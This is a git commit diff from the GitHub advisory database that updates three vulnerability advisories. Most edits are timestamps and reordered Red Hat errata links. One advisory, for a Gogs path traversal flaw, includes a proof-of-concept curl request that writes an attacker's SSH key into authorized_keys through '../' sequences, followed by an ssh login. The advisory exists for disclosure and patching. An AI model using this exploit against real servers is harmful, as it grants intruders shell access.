Publish Advisories

GHSA-qf5v-rp47-55gg
GHSA-r7j8-5h9c-f6fx
GHSA-5vpc-35f4-r8w6
This commit is contained in:
advisory-database[bot]
2025-04-10 22:59:29 +00:00
parent 8d7c331c36
commit f76db31b1c
3 changed files with 18 additions and 10 deletions
@@ -1,14 +1,18 @@
{
"schema_version": "1.4.0",
"id": "GHSA-qf5v-rp47-55gg",
"modified": "2024-12-23T20:54:48Z",
"modified": "2025-04-10T22:56:52Z",
"published": "2024-12-23T17:53:16Z",
"aliases": [
"CVE-2024-55947"
],
"summary": "Path Traversal in file update API in gogs",
"details": "### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n ```bash\n curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n -H \"Content-Type: application/json\" \\\n --data '{\n \"message\": \"an\",\n \"content\": \"<base64encoded: your ssh pub key>\"\n }'\n ```\n\n3. ssh connect to remote server\n\n ```bash\n ssh -i temp git@localhost -p 10022\n ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.\n",
"details": "### Impact\n\nThe malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. \n\n### Patches\n\nWriting files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n ```bash\n curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n -H \"Content-Type: application/json\" \\\n --data '{\n \"message\": \"an\",\n \"content\": \"<base64encoded: your ssh pub key>\"\n }'\n ```\n\n3. ssh connect to remote server\n\n ```bash\n ssh -i temp git@localhost -p 10022\n ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
},
{
"type": "CVSS_V4",
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
File diff suppressed because one or more lines are too long
@@ -1,7 +1,7 @@
{
"schema_version": "1.4.0",
"id": "GHSA-5vpc-35f4-r8w6",
"modified": "2025-03-20T19:33:00Z",
"modified": "2025-04-10T22:58:09Z",
"published": "2025-01-21T21:22:49Z",
"aliases": [
"CVE-2024-11218"
@@ -103,7 +103,7 @@
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:1910"
"url": "https://access.redhat.com/errata/RHSA-2025:0830"
},
{
"type": "WEB",
@@ -141,6 +141,10 @@
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:2712"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:3577"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2024-11218"
@@ -161,10 +165,6 @@
"type": "WEB",
"url": "https://issues.redhat.com/browse/RHEL-67618"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:0830"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:0878"
@@ -228,6 +228,10 @@
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:1908"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2025:1910"
}
],
"database_specific": {